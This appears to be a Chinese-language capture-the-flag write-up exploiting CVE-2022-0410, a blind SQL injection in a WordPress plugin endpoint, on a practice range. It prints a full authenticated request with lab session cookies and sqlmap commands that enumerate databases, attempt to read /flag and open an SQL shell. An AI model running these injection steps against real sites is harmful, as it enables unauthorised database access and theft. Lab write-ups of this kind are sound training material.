refer to:
https://yunjing.ichunqiu.com/cve/detail/753?type=1&pay=2
/wp-admin user01 user01
打开 /wp-admin 后,页面这样提示。
应该是靶场的意思是:你不需要完整的操作路径。
立刻查看参考答案:
https://blog.zlimilz.cn/archives/e128e989/#CVE-2022-0410 (这个没试用)
https://wpscan.com/vulnerability/0d6b89f5-cf12-4ad4-831b-fed26763ba20 用了这个。
发现是可以注入一个sleep语句的
正常的URL:
试了几次 $ sqlmap -u ... 这样的命令,都不行,加上 -v 6, 看到所有返回都是400
想了一下,应该是没加header导致的。
创建headers文件
完整内容如下:( headers.txt )
GET /wp-admin/admin-ajax.php?action=refUrlDetails&id=1 HTTP/1.1 Host: eci-2ze2eis9aeg1bcfj108s.cloudeci1.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: wordpress_9cf9edc4ff0f89242a7be2aa44f33e3a=user01%7C1683424775%7C21ampEkKi0a2FMvapVcqTB4FN11x0gliKWLRU2JqNq8%7Cad004b5a650ffe8acc575c20b2ec3db28f447e1d8d89732f514ad93c73bc68df; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1680743198,1680907041,1683161240; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1683248344; ci_session=e36a690f31d1cc2a3ed9083c71079d5cfbfb50c3; _ga=GA1.2.1577637220.1683245219; _gid=GA1.2.638663080.1683245219; _wsm_id_1_f13f=3e53a9ff34e5706d.1683251915.1.1683252260.1683251915; _wsm_ses_1_f13f=*; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_9cf9edc4ff0f89242a7be2aa44f33e3a=user01%7C1683424775%7C21ampEkKi0a2FMvapVcqTB4FN11x0gliKWLRU2JqNq8%7Cf32c187b8def51ff76cbe11d81195b9733e3c80e12102e68f41257bb1bbc488c Upgrade-Insecure-Requests: 1
再次运行命令:
sqlmap -r headers.txt -p "id" --string="New visitors" -v 6
headers中的*不用处理
运行结果:
发现还是time based blind ,所以无法使用 --os-shell
尝试读取/flag:
sqlmap -r headers.txt -p "id" --string="New visitors" --file-read='/flag'
不行。
--dbs
可以得到数据库:ctf
然后 --sql-shell, 运行select * from ctf.flag;
拿到结果
结论:
1. sqlmap 不行的时候,思考一下是不是没加header
2. header的内容可以直接从firefox中copy过来。
3. sqlmap的debug是 -v 6 而不是 --debug
4. 注意时间 别弄到一半,容器时间到了 ,获得一个flag 的sql大概花了20分钟吧。